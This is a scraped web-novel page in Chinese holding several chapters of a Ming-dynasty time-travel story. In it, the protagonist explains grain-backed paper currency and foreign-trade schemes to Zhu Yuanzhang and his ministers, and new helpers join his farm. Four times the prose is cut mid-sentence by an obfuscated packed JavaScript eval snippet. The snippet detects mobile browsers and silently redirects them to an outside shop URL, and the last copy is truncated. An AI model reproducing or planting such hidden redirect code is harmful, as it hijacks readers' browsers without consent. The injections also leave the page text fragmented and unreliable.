“但是,若发生全国性的大饥荒,且是连续的那种,官仓都无粮了,而百姓们又都想置换粮食,那该如何是好。” 刘伯温则又提了个问题,他向来心细,谨慎。 这个问题却也是把朱安宁给逗乐了。 这老头还挺专业啊,知道挤兑潮。 这件事情也很简单。 答案就是无解。 一个国家一旦陷入到这种涉及到本币的挤兑潮之中,基本就是这个国家崩溃的开始。 所以这个问题无解,或者说解就是不要让这件事情发生! “季伯,如果发生全国性的连续性的大饥荒,即便百姓们不用宝钞去换粮食,咱们这大明,也难以为继啊。”朱安宁哈哈大笑了起来。 “啊,也是……”刘伯温也是跟着笑了起来。 他只想把这制度想得更完善些,所以走了极端。被朱安宁一点,也是马上就反应了过来。这种必死的局面,根本就无法解决,所以不要让这种局面出现才是关键。 “不要老是想着什么一个方法用到死,灵活啊,得灵活啊!我现在用粮食锚定了宝钞,未来等国库的金银有了一定的数量,不就又能恢复以前的锚定方法了么?或者说我可以同时锚定金银和粮食的啊。” 朱安宁又补充了一句,依旧是本着键政就是 飚ppt的原则,他畅所欲言,也不管谁去实施这些东西。 或者说,他连面前这群人的身份都不知道。 权当是乡下一群老翁和自己吹牛打屁而已。 “安宁小弟,你的法子我是听懂了,但是你说未来,我们真的能存够那么多银子去发行宝钞么?” “伍爷,别老盯着我们一亩三分地啊,要银矿的话,隔壁倭寇本岛上一大堆,然后倘若咱们打大明宝钞能够稳定下来,发行出来的宝钞,指不定能在他国都能流通呢,那才是美事,用纸,去换别人家的物资,呵呵。” 朱安宁喝着冰水,随口说出了两条重要信息。 于是引来了完全不一样的反应。 朱元璋那是直接就站了起来:“什么,倭寇那片穷得荡气回肠,油水都没两滴,天天啃鱼过日子的鬼地方,居然有银矿?!” 呃,这老伍头真容易激动。 放现代键政很容易被别人气到高血压的啊。 “诶诶,伍爷勿要那么激动嘛,倭寇本岛上有座山,叫石见山,遍地银矿,但是也和咱这小百姓无关呐,就是这么一说而已。” 朱元璋是真的脸色变幻不定。 要是其他人和他说倭寇岛上有宝矿,他怕不是笑得能背过气去。 但是现在是朱安宁提出来的啊。 他的话…… 还是很灵的啊。 缺钱已经快要缺疯了的老朱,已经下了决定。 要派人去探一探! 只是他这幅样子,着实是把围坐在一起的人吓了一跳。 “是啊,伍爷。”刘伯温也凑了过去,乐呵呵地想扶朱元璋坐下,他和李善长对视了一眼,他们更关注的不是银矿,而是朱安宁的后半句,用价值稳定的宝钞,去换他国的物资,这是什么生意,这才叫一本万利啊! 这哪是宝钞啊,这是宝石啊! 这两个家伙,在听到这个想法的一瞬间,就已经想到了无数种收割物资的方案。 “安宁小弟,这用咱们的宝钞,去换他国的物资,别人认么?” 李善长也凑了过去。 说搞政事,他韩国公现在是断然不敢下场乱说话的。 他学生的三族血还未干呢。 只是要是说到粮草物资,贸易一类的后勤事项,他可就来劲了。 朱元璋第一后勤大队长,可不是19XX年的那个后勤大队长,含金量是不一样的。 而朱元璋也是回过了味来,抢银矿那是要死人滴,但是听这朱安宁说,用自己的宝钞换他国物资,这好像更划算啊。 三人都是看向了朱安宁。 想要个答案。 只见朱安宁又是喝了一口凉水。 这个季节的南京郊外,也是着实有点热。 朱安宁从旁边的储物柜里摸出了一把扇子,这是他进城时淘来的货。 掏出扇子他就扇了起来,样子那是要多骚包有多骚包。 “允许他国之人也可以用宝钞兑换咱们的粮食就可以了啊,这下不能不认了吧,咱们大明国做生意,讲的就是信誉。” 这个答案,确实是个解决方案。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378681|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 但是,着实是不能让眼前的三人满意的。 这三人可是元末吃鸡战场里脱颖而出的职业玩家。 朱安宁的这个答案太过中庸,没意思。 于是,朱元璋皱起了眉头。 “你的意思是,咱们大明的粮,也要派给那些外人?” 这就有点让他不喜了,违背了老朱全都要的基本战略方阵。 “伍爷,你这话说的,做生意不得讲究诚信啊,人家也是用货物换的宝钞啊,你不给别人换粮食,换金银,岂不是不讲信用?” 朱安宁要在那里摇扇子,甚至还配合着自己的腔调,开始摇头晃脑。 “北元那群贼人拿宝钞过来换,也换?”朱元璋拍了拍桌子,虽然力道不大,却也能震得刘伯温和李善长一阵心慌。 “换啊,为什么不换?就算是一条狗拿着大明的宝钞,要来置换,那也必须要换给它。只有用的国家多了,咱们的宝钞才有权威性。” “真是岂有此理!安宁小弟,你可知道你在说什么屁话!”老朱拍桌子的力道又大了些:“那咱们的粮食,金银,不就白白便宜了外人了么?!” 朱元璋说得理直气壮。 却也是把朱安宁都给震慑住了。 他刚才阐述的思路里,应该是有说到过,宝钞是用来换对方物资的吧…… 怎么这伍爷一副吃大亏的样子,还这么激动…… 这多少有些无耻了吧。 只是,朱安宁的话其实也还没完。 他又继续说了下去。 “伍爷你别激动嘛,咱这宝钞,如果不能置换成粮食和银两,那对外人来说,毫无意义,所以,换是必须换的!但是!” 啪地一声,朱安宁把扇子一合。 像个说书人似地,来了个另朱元璋三人抓耳挠腮的停顿。 “但是?” “但是,怎么换,我们说了算!”朱安宁,露出了两排大白牙,笑得那是人畜无害:“每日配给一定的额度,曰边仓物资有限,要想快速置换, 那不好意思,请缴纳车马运输的损耗费,这损耗费,每日更换,视情况而定。” “嘶!”刘伯温倒吸了一口凉气。 这里面门道可深了啊。 而且,真阴损啊。 朱安宁这招就是,杀人诛心啊。 而李善长,却哈哈大笑了起来。 “妙计妙计,额度配给,以边仓物资有限为理由,这所谓的车马运输损耗费,其实就是赚头,安宁小弟,你看我说的对么?” “那是自然,咱们的边仓,物资可是要对外常年紧缺,对内那是充裕无碍才行啊,至于那车马运输费,是多是少,嘿嘿。”朱安宁眼珠一转,突然觉得这韩伯是真的有些顺眼,这贼兮兮的样子,一看就是很能苟的人。 两人一番解释,朱元璋也是终于听懂了里面的门道。 也是如刘伯温一般,先是倒吸了一口凉气,然后,那是笑得比李善长还要大声。 “安宁小弟啊安宁小弟,毒辣,真毒辣!” “呵呵,我权当伍爷你是在夸我啊。” “那必然是在夸你啊。你若身在乱世,怕不是就是如司马懿,贾诩一般的能人啊。” 嗯?就不能是诸葛亮么? 好像也是哦,这几招美元霸权,也就是司马懿和贾诩这种不要脸的人才使得出来…… 朱安宁也是笑呵呵地接受了这个评价。 “其实如果刚才那些事项能够实施下来,这宝钞制度是还有后续的。” “还能更阴?” “方才不是说了么,如果能够流通起来,那么我们大明的宝钞,就会在各国流通起来,到了这个时候,我们就可以开始利用宝钞,开始控制那些周边的国家了。” “宝钞又不是将士,军队,如何控制?” “只需颁布一条法令即可。” “什么法令。” “诸国与我大明贸易,往后,只可用大明宝钞与我结算,他国朝廷若是想要我大明的宝钞,可以运输金银等到我国都处暂时存放,我大明只当帮他们好好保存那些金银,然后发放对应的宝钞予他们。” 第七十八章 鹰酱啊鹰酱 这个季节挺热的。 院中恰好有棵大树,那是蒯富等人造院子时留下的。 它为这木桌旁的一圈人,提供了些许阴凉。 可惜。 这群人还是出了汗。 朱元璋心想的是,这个年纪,就这么阴,回想自己当年的红巾军生涯……真是纯良得一塌糊涂啊。 于是,一身冷汗。 而刘伯温和李善长,则是在想,幸好你这安宁小弟没有早出生,不然自己怕是阴不过这家伙啊。 “真是江山代有人才出啊……安宁小弟,你这些东西都是那个什么徐师傅教你的?” 朱元璋感叹道。 只叹是世界之大,真是能人辈出…… “啊?徐……啊,哦,这些不是徐师傅教的。”朱安宁也回过了味来,刚才讲得太嗨,估计是震撼到这几个地主了…… “这些东西啊,是鹰师傅教的。”他也只能继续随口胡诌,某某霸权嘛,那就是阿美莉卡的鹰啦。 “鹰?” “嗯,老鹰的鹰。” “还能有如此奇特之姓?不过能教你这些事情,这鹰师傅也是天资卓越,天纵奇才了啊。” “呃……算是吧,能力是有的,就是道德败坏,到处惹是生非,惹人嫌……”朱安宁补了句。 “啊……这……”结果朱安宁补的话,让三人都有点不知道怎么接。 便也是一时尬在了那里。 最后还是朱安宁开了口,此时的他,也清醒了不少。 “哎,刚才讲那些,大家伙也不要想那么认真。” 他打了个哈哈,想换个话题。 结果这三个人,哪肯就此放过他。 宝钞的锚定,和通过宝钞去控制周边国家。 任意一项达成,那对大明而言都是极其重要的啊。 哪能说不想那么认真。 朱元璋都已经在想要不要把朱安宁绑回去给自己出谋划策了,省得天天在这里耕田忙农活蹉跎岁月! “为什么啊安宁小弟,兹事体大,哪能不认真啊?”结果比朱元璋还要急的是李善长。 啊?我们四个地主不就只是在乡间吹牛么,怎么就兹事体大了? 键政还键出荣誉感来了是吧。 看来这韩老头和穿越前论坛里的魔怔人有点像啊。 “哎呀,一切的一切,源头都是咱们大明得有足够的粮食啊,这东西能急得来?” 朱安宁一句话,就把三人的热情,一下浇灭。 确实如此。 宝钞的锚定,需要大量的粮草。 但是最近连年灾害。 产粮的江南赋税也已经拉到了最高。 也就勉强维持这个偌大的明朝运转而已。 余下来的粮食,又还得准备做北征的储备粮。 “这……哎……” “除非我们这地里的粮,能早点种出来,验证具体的产量,并且快速推广,我们就能在极短的时间内充足粮仓。” 听完朱安宁的阐述,朱元璋等人也是马上就想通了其中的关节。 只见老朱,沉默不语地走到了那田边。 把还在忙活的朱棣三人吓了一跳。 “父……父亲,怎么了?”朱棣小心翼翼地开了口。 朱橚和李景隆,则僵在了那里,就怕有什么动作,触怒了这明显表情有点阴晴不定的朱元璋。 “老四,你们三,务必好好帮你们这朱安宁,打理好这些田地,这些田地,将是我们未来大明的根本!” “好……好的父亲。” 其实朱棣很想说,他们三人现在在忙的其实是院外的田地。 但是某些时候,保命是需要善意的谎言的…… 说完话的朱元璋没有回头,而是大喊了一句。 “老季,你家那两孙子,赶紧也过来,别再磨蹭了,安宁小弟这院里的事,庄里的事,可不少啊。” 这话是吩咐给刘伯温听的。 而刘伯温也是听懂了言外之意。 这永乐庄,需要更多的人手来打理。 老一辈的人,朱元璋并不放心。 他刘伯温家的两个孙子,恰好又和朱棣朱橚李景隆三人熟悉,早点过来帮忙是再好不过的。 “好的。”所以他连忙应承了句。 却也惹来了李善长的目光。 老李是有些惊讶地扫了扫刘伯温。 然后又把目光转向了朱元璋。 有些话很想说,却又不敢说,只能在犹豫片刻后,化为一声叹息。 他的后辈,看来是被朱元璋排除在外了。 大概……是因为胡惟庸吧。 这是一种警告,也是一种提醒。 自己,接下来,务必还是要慎言慎行。 而这安宁小弟,绝对是未来明朝的新星。 无后台,无派别的那种新星。 既然自己的后辈无缘和他结交,那便只能由自己来了啊…… 以后,但凡是上位来这里,自己赖也要赖着一起过来才行…… 李善长在心里打定了主意。 而朱安宁哪能想到,仅仅是一瞬间。 这三人脑子里就转了那么 多道弯,想了那么多的事情。 他想的事情是,又有两个家伙过来了啊,有没朱棣能干啊,至少要比李景隆能干吧,哎呀自己的新房子好像又要安排一间出去了啊。 “行,那咱们先回去了。”站在田边的朱元璋回了个身,也是给了两人一个眼神。 朱元璋本是想赖着吃顿饭再走的。 怎知随便聊一聊,都能在朱安宁口中听到如此妙计,他想要赶紧回去找他的好大儿商讨。 “啊,今儿不吃饭了?” “哎呀,有空再吃,对了,安宁小弟,你的银两,改天我给你送过来,那银两沉……找天我让老四老五给你搬过来吧。” “不急不急,呵呵。” 朱安宁是不知道朱元璋想法的。 他只道是这几人不吃饭的话。 自己就能省些功夫…… 于是他把几人送到了院外。 又回到了院里的田边,和朱棣几人一起侍弄了下田地。 太阳在枝头上又划过了些许,在忙着自己事情的几人,忽然被拍门声惊了下。 最后是机灵的李景隆一溜小跑,过去帮众人开了门。 门才刚开,那声音就已经传了进来。 “朱爷朱爷!” 众人都对那声音熟悉。 “哎,戚叔……是你把大夫请回来了么?” 朱安宁略带歉意地问了句。 很有可能……戚祥这是白跑一趟啊。 “带是带回来了,但是那柳家人说,您和周爷已经帮忙看完病了?” 戚祥倒也没有很生气。 他只是疑惑这朱安宁一个地主,朱橚一个皇子,看的哪门子病啊…… 而且据他带回来的大夫把脉后说……那柳家的小儿子确实好转了不少……如果已经有大夫开了药方,他就不必插手了,省得药物相冲…… 这样就是意味着,这两人真有点东西啊? 看戚祥没有生气,朱安宁也是松了口气。 “哎,也就是略懂略懂……”他也不想解释那么多,要是说自己啥都不会,把人就这么治好了,那更是扯淡惹麻烦。 “对了戚叔,那请大夫的钱,我这边出吧。”朱安宁一边说着,一边递了些钱银过去。 戚祥看着走向自己的朱安宁,连忙摆了摆手:“那大夫与我熟,他说既然没开药那便也是没收银子,而且他现在就住这附近,不打紧的。” “啊?那戚叔下次得好好帮我谢谢这大夫。” “会的会的,没什么事我先走了,庄里还一堆事情呢,哎。” “慢走慢走……我晚些再去看看那柳家小儿子,他还得吃多次我的药才行……”朱安宁看着有些劳累的戚祥,也是有点过意不去,本质来说,他才是这个庄子的管理者,但是好像大部分事情都是戚祥在做…… 找个时间,送他点酒? 茅台太贵,肉疼,其他酒应该还可以…… 到时再说,到时再说。 朱安宁摇了摇头,又抹去了些额头的汗水,继续埋头在田地里干起活来。 他是,真心实意地想要把这些高产的粮食种出来的。 在他心中,这说不定能改变明朝的走势啊。 当然,令他没想到的是,其实明朝的走势,早就在他穿越过来的第一天,就已经拐向另一个方向了。 而今天这场树下谈话,更是让这个走势,又快了些。 —————————————————————————— 文华殿内。 朱标刚处理完政事。 阁臣才告退没多久。 他已经习惯了做常务副皇帝。 虽然他二十多岁的年纪,但是因为操劳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378682|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过度,已经是身体机能开始走下坡路。 不免也是有些疲惫。 正当他准备小憩一下的时候。 朱元璋领着一群人风风火火地冲到了殿内。 “你们出去外面,没咱的话,谁都不许放进来。”他对几个太监说道。 而那几个内侍太监看见朱元璋的脸色,也是知道应该是有大事,连忙快步退了出去,把门关了起来。 朱标那是还未合眼,就被这一群人吓了一跳。 “父皇,韩国公,曹国公,诚意伯。”他连忙走了下去。 “见过太子殿下。” “不必那么多礼了,今日是有重要事情要说,呼,让我先喝口茶水。” 朱元璋直接就跑到了朱标刚才坐的主位上坐了下去。 几人也是这里的常客了。 听见朱元璋的不必多礼后,也是各自找了个位置坐了下去。 刘伯温和李善长倒还好,他们知道什么情况。 李文忠那是多少有点一头雾水。 他是被急召过来的。 朱标也和李文忠差不了多少。 什么事情能急到把这群人集中在这里。 “重要事情需要咱们商量,那个,诚意伯,你来说,你能说得清楚些,有些弯弯绕绕实在是太他娘的阴了,咱没你们那么花花肠子。” 朱元璋说着些粗鄙的话语,但是那喜悦之情是掩盖不住的。 而另一边的李善长则有些 坐立难安,只是,他很好的把这情绪掩盖了下去。 按理来说,这事,由他这个昔日的后勤大队长来说,更为合情合理。 就算按爵位来说,他也比那刘伯温,高了两个级。 本来就看刘伯温不太爽的李善长,此时更是嫉妒得想要发狂…… 只是,绝对不能表露,绝对不能表露啊。 胡惟庸才没死多久…… 众人看着刘伯温走到了场中。 论口才,这刘基可是明初一等一的存在。 他没花多少时间,便把那朱安宁的宝钞锚定法子和锚定后如何用宝钞控制周边国家的思路,细细地讲了一遍。 朱标和李文忠都政坛老手了,处理过的各类机要那是数不胜数。 所以,他们听懂了。 很好的听懂了。 正是因为听懂了才会觉得震撼。 “那……那教朱安宁的鹰师傅究竟是何等人物啊!” “这哪是鹰啊,这是阴损啊!” “嘿,他一口一个徐师傅,一个一个鹰师傅,谁知道是不是真的有这些个人。”朱元璋突然笑了起来。 “父皇的意思是,这些法子也许是他自己想的?” “那也太不可思议了……真有人生而知之?” 两人都感叹出声,觉得真是不可思议。 这类做法简直闻所未闻。 就算是流通最广的元钞,也不过是因为采用了最基本的金本位,银本位而已。 但是朱安宁这个粮食本位,绑定的可是封建时代最最最重要的战略物资,粮食啊! 而且按的他说法,后期是可以绑定金银的啊。 这就太开创性了。 汇率,关税那套,朱安宁只是给了个简化版本,毕竟他也不是什么专业人士。 仅仅只是这样,已经够文华殿内这群人,玩上几宿的了。 “那上位的意思是,我们马上开始修订宝钞的方策?” 李文忠开口问道。 朱元璋看见众人的反应,都很是满意,他们都认可,那这思路,自然不会有问题。 历史上所谓的朱元璋刚愎自用,不过是后期那段杀戮史罢了。 若是他真的事事都刚愎自用,大概就已经是鄱阳湖底的泥了吧。 所以其实,老朱,还是很能听下面人的意见的,采不采取另说。 “马上修订!但是……”朱元璋抬起头,看向了众人:“但是不必马上颁布。” 朱元璋没有解释,但是下面一众人,都知道他是什么意思。 粮草锚定宝钞。 前提得是粮草充足。 而他们现在……真的很不充足。 只是,先把方策定下来,是很有必要的。 朱标坐在自己的位置上。 疲惫地揉了揉太阳穴。 “啊,我也想见见那安宁小弟啊……” 他突然,对朱安宁,产生了巨大的兴趣。 第七十九章 季伯长孙 朱安宁并不知道自己下午一阵口嗨,换来的是文华殿几个人不眠不夜的讨论。 让朱标这个本就是轮轴转的肝帝,差点就倒在了工作岗位上…… 总而言之,最近让朱安宁高兴的事情是,柳家那小孩,就这么好了…… 兴许是古代的细菌确实比较垃圾?或者是这小孩本身就能熬过来,就是这布洛芬退烧帮了他一把,仅此而已。 不管是哪个,现在他在庄里的地位,愈发高了起来。 从原来的挑粪小能手,种田好地主,过渡到了妙手回春朱老爷。 以至于,有几个汉子还会趁农闲时偷偷跑来问他,是否有那些可以整一整难以启齿之事的法子…… 大家认可朱老爷,朱安宁很高兴,但是这些事情来问朱老爷的话,朱老爷很尴尬。 所以基本上他都是模棱两可说个几句,就跑路。 而还有一些变化是,于某个早上。 朱棣和朱橚,抬回来了一箱沉甸甸的箱子。 不必打开,朱安宁都知道里面装的是什么。 光天化日,朗朗乾坤啊……这两兄弟不怕死的么?就这么抬了进来? 还是说明初的治安条件这么优越? 而朱安宁却也没有时间真去检查里面的东西。 因为朱棣和朱橚身后还跟了两个小年轻。 准确地说,应该是少年。 比朱橚还小的那种。 “学生,季畾,见过先生。” “学生,季廌,见过先生。” 那两少年,有些拘谨,又有些兴奋地,规矩地对朱安宁行了个礼。 这两人,便是刘伯温的孙子。 最近才解了禁足令的刘畾,和刘廌。 “哦,你们就是季伯的孙子吧,哎呀,不用叫我先生了,我又不是教书先生,跟他们叫我一声朱哥就行。”朱安宁看着拎着大包小包,明显也是要入住这里的两小子,乐呵呵地说道。 虽说要吃自己家的大米。 但是也是劳动力不是么。 通过前几次来看。 这几家地主派过来的,就没有什么纨绔子弟……就算是那李三江,其实也挺能干活的。 这两个……嗯……看起来有点瘦啊。 “朱哥。” “朱哥。” 刘畾,和刘廌两堂兄弟连忙又叫了声朱哥。 朱安宁也是把几人迎了进去。 然后关上了门。 不出意外的,两兄弟一下就被房车吸引住。 愣是盯了半天,却也不敢开口问。 毕竟刘伯温已经严厉警告过他们,来了朱安宁家不得造次。 “房舍而已,就样子奇特点罢了。” 最后还是朱橚给他们解释的,毕竟是同窗,相熟。 “也……也太奇特了啊。”刘畾要相对外向些,他不自觉地开始绕了房车一圈,最后是却也是差点撞上刚起床,从屋内走出来的李景隆。 “啊……” “啊……” 两人对视了一眼,他们都是同在一间殿内听过大儒讲课的人,是熟悉的人。 但是两人都是憋了许久,不敢说话…… 因为,两人都不知道现在对方应该叫什么。 朱棣看着这两人的样子,那是乐不可支,却也不敢大声在朱安宁面前笑。 “李三江,季畾。”他走了过去,用朱安宁听不到的声音轻声提醒道。 呼…… “好好……” 解脱的两人,松了口气。 也在同一时间,听到了朱安宁的招呼。 “这院落人也多起来了啊,大家过来集合下?” 朱安宁唤了一声。 然后几人也很是听从。 很快就围了过来。 这一让朱安宁突然有了种自己是什么班主任辅导员的感觉……领着手下一群人做项目? “呃,那个我今天说三点。”朱安宁一开口,便觉得,自己似乎变成了昔日自己最讨厌的那种人…… “我……我绝对不展开哈……”他又连忙补了句。 结果一群人,那是听得一脸懵。 只觉得今天的朱哥是不是没睡醒,怎么在自顾自地说些奇怪的话啊…… 朱安宁也看到了一众人疑惑的目光,连忙轻咳了声,缓解尴尬。 “大家都是家里人让来帮忙的对吧。”他朗声说道。 “嗯。” “是的。” 几人自然是连连点头。 “那就是大家应该都知道新粮的事情咯,我也不拐弯抹角了,这新粮到时种出来,你们尽管去领功……我可不是什么当官的料……小燕和小周应该是比较了解我的,我比较爱钱银。” 朱安宁咧嘴笑了起来。 却也让下面的朱棣朱橚和李景隆翻起了白眼。 这么些日子,他们早就了解了。 这朱哥就是怕当官事多吧……言语中好像还透露出他有点怕洪武帝的感觉…… 而朱安宁也没管这群人怎么想,他继续说了下去。 “我把功劳给大家了,那也希望大家能帮帮我,这庄子里的事情还挺多的,我又没有招仆人和管 家……所以庄子里的事也希望大家能多多帮忙。” 这话其实是说给刘家两兄弟听的。 朱棣朱橚,李景隆,其实早就开始在庄里干活了。 令朱安宁意外的是,刘家两兄弟毫无反应…… 朱安宁哪能知道,他们收到的命令是,听话……叫干嘛就干嘛……收起以前的小性子。 “啊……大家没有意见?我就继续说啦,庄子那些农耕的事情,还是小燕和小周负责咯,院子里面的田地,三江,你教一教季家兄弟?季畾,季廌,你们就和三江住一屋吧,也方便些。” 他把众人要做的事情又确定了一遍。 只见刘畾和刘廌,都在那点头,没有任何反对的意思。 这就让朱安宁有点摸不着头脑了。 之前还听那伍爷和季爷说,这两人天天说要纵情山水,怎么来了自己这,这么乖巧…… 他不知道的是,来之前,刘伯温对他们说得有多严肃…… 大有身家性命都在这里的感觉。 刘畾和刘廌再狂,也不至于发癫到拿家人性命开玩笑…… 而且,更重要的是,这地,有山有水有田!正是这两兄弟梦寐以求的生活啊! “呃,大家没意见的话,就这样安排吧。” 没问题也好……明朝应天府郊区大院辅导员朱安宁同志正准备转身。 朱棣同学却开口叫住了他。 “朱哥,我有问题!”他喊得有些急切。 清晨的永乐庄,空气很是好闻。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378683|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朱安宁吸了口气,回头看向了朱棣。 “啊?怎么了?” “你没做早饭啊!”朱棣,露出两排大白牙,笑得那叫一个灿烂。 本来还在享受着清晨新鲜空气的朱安宁,却差点一口气没噎住。 “你们都没吃?” 和朱棣一样,头摇得像拨浪鼓似的是朱橚。 而刘畾,和刘廌相对要矜持些。 朱安宁连忙转头看向李景隆。 “朱哥,我刚起身啊……” 只见李景隆一脸无辜,但是话里的意思也是很清楚,他也是没吃早餐的。 “不是,你们几个,从外面回来都不知道吃了早饭再回?” “吃食,还是朱哥做的好吃啊!” “确实,先生做饭是有一手的。” 朱橚也表达了对朱安宁厨艺的尊重。 而,此刻的朱安宁,也是多少意识到了事情的严重性。 得找个人来做饭,这家,是待不下去了啊! 朱安宁在心里哀嚎下,突然开始怀念起,外卖…… 大米,面条不是问题。 一个人做那么多人份,累啊…… 于是,有些心累的朱安宁,果断又是选择了最简单的早餐。 鸡蛋面。 这让朱棣很是不满。 本来朱安宁还想喷两句你行你上不要只会翻白眼。 却也看见了朱棣摸出了一包他熟悉到不能再熟悉的料包……开始给自己的面撒了起来。 “哥,给我也撒点。” “你的呢?” “昨夜不是给你偷用掉了么……” “什么叫偷,哥用你的,能叫偷?” “四哥我也想要……” 很快李景隆也加入了闹剧之中。 把刘畾,和刘廌是看得一愣一愣。 而朱安宁却也没眼在看这群人,几口吃碗面,便出了院门。 “我有事去找下戚叔。” 他起身到出门,不过是一瞬。 走在田间小道上的朱安宁,熟稔地和田间的人儿们打着招呼。 大家也都习惯了这个地主日常跑到田间来东看看西看看。 所以也不觉得意外。 “柳叔,看见戚叔了么?” 朱安宁开口向眼前的人问道。 那人恰好就是家里小孩发烧的那个老柳。 只见他毕恭毕敬地行了个礼,才回的话:“朱爷,戚爷应该在西边的荒地那边。” “行,我去寻他。” 说完朱安宁就想迈开脚步。 结果,几个小孩却拦下了他来。 “朱爷,今儿你有空了没?” 朱安宁低头一看,却是那柳家两个儿子,柳洋和柳江为首的一群小孩们。 是那柳江继续开了口。 “朱爷,我还想听那孙猴子的故事……” “我也想我也想,柳洋儿说到那孙猴子打出南天门就没了!!!朱爷你讲给我们听吧!” 结果朱安宁还未回应,一群小孩便乱哄哄地吵了起来。 让朱安宁是一个头两个大…… 他只不过是前几日去柳家探病……随口给那柳江讲了点而已。 没想到那柳江的哥哥柳洋在旁边居然默记了下来,开始讲给庄里的其他孩子听。 第八十章 乡学 围着朱安宁的孩子越来越多。 脑瓜子嗡嗡的是不可避免的。 朱安宁想走都走不动道。 他也不可能说动手去打孩子,毕竟他还是有基本的道德观的……而且说真的他还不一定打得过这么多人…… 远处的农夫们,看见被围着的朱安宁,也是哭笑不得。 他们知道朱安宁心善,不会对孩子们怎么样,他们哭笑不得的是,那群孩子也不管自己身上有多脏,就直接往朱安宁那边挤过去。 终于是有人先看不下去。 “你们这群狗娃儿!弄脏朱爷衣服了啊,一边玩去一边玩去,别碍着朱爷干正事,听见没有?!” 一名农夫,抄起田间的一根棍子就走了上来。 看样子是想帮朱安宁解围,方式也是最为简单粗暴的棍棒教育,这招上下五千年,那是横亘时空,屡试不爽…… 结果那群孩子,看见棍棒和气势汹汹的农夫,散是散开了,嘴巴却也是不干不净地在那骂着街。 用语之粗鄙! 呃,其实朱安宁就没怎么听懂。 因为他们语速太快了。 只是,即便听不懂,他也能从那农夫的脸色看出端倪来。 提着木棍的人,脸很快就涨成了猪肝色。 脸上愤怒的表情不似作假,青筋暴起的样子,让朱安宁有点担心他的血压。 跑,那农夫是跑不过那群娃的,只能边跑边骂,最后只能是把那木棍当做是暗器,飞了出去。 结果自然是没能砸到任何一个小孩,却差点扔到边上的另外一个农夫。 而后,免不了又是一阵粗言秽语。 让朱安宁是看着一阵脑壳疼。 田野上的闹腾,本就是个小插曲。 却也让朱安宁想到了一件事情……能不能搞个乡学啊…… 这群娃天天在田间野,也是让人头疼啊。 不过这明朝的乡学好像不是全民入学…… 呃,真是头大。 不管怎样,总算脱身的朱安宁赶紧走快了两步,往刚才老柳指的西边荒地走去。 田间小道路也不算好走,花了些时间,朱安宁才在杂草丛生的荒地边上看到了戚祥。 这所谓的西边荒地,都快靠到了乡道那个T字型路口边上了。 而朱安宁,意外地看见了一个奇怪的建筑,戚祥正在那和门口的人不知道在说些什么。 “啊?这屋子什么时候建起来的?” 朱安宁是真的一脸懵逼。 前几日他还走过这条路进过城。 怎么一下就起了这屋子啊。 不过即便是懵逼,他也没有停下脚步,索性直接走出了田埂,去到了乡道上。 他远远就跟戚祥打了个招呼。 “戚祥叔。” 而戚祥,也是早就看到了朱安宁。 于是他连忙中断了和眼前人的聊天。 迎了过去。 “朱爷,你找我有事?” “嗯,咱这田要插秧了啊,水渠得挖一些出来了,不然到时灌溉麻烦。” “哎呀,是这事啊,前些日子周爷和我提过了,忙忘了,到时我组织些人手去弄就行,不是什么大水渠,很快就能挖好的,恰好我们就在河边。” “不需要我出面?” “这种小事哪用劳烦您啊。” 只见戚祥摆了摆手,一副小事的样子。 佃农帮工,本就是常事,而且还是朱安宁这种逆天的菩萨地主,没有佃农会拒绝的。 最重要的是,这些渠,是挖给他们自己用的啊…… “啊?这样啊。”朱安宁摸了摸后脑勺,只觉得应该是自己把这事情想复杂了。 不过他现在更好奇的是,眼前这个建筑是什么情况。 “对了,戚叔,这屋子什么情况……几天内就建好了,我也没听见有动静啊。” 朱安宁一把拉住了戚祥,那副好奇的样子也是让戚祥笑了起来。 “朱爷,就是官府的驿站而已。” “我们这鸟不拉屎的地方,平日我也没见什么人走这路,搞个驿站干嘛?咱们官府银子多到没地方花了?” 朱安宁是一脸疑惑。 其实他的话,句句在理。 按照应天府郊外的安排,这地方是绝不需要这驿站的。 只是,今时不同往日啊。 永乐庄在朱元璋等人心中现在是什么地位? 堪比现代的战略核导弹基地啊! 朱元璋甚至都动了把戍卫京城的军队都调些过来的想法…… 最后还是朱标清醒,他拒绝了老朱的调令…… 最后是几人商量好了,折中在这里悄悄整个驿站,然后派精锐在这里轮番看守。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 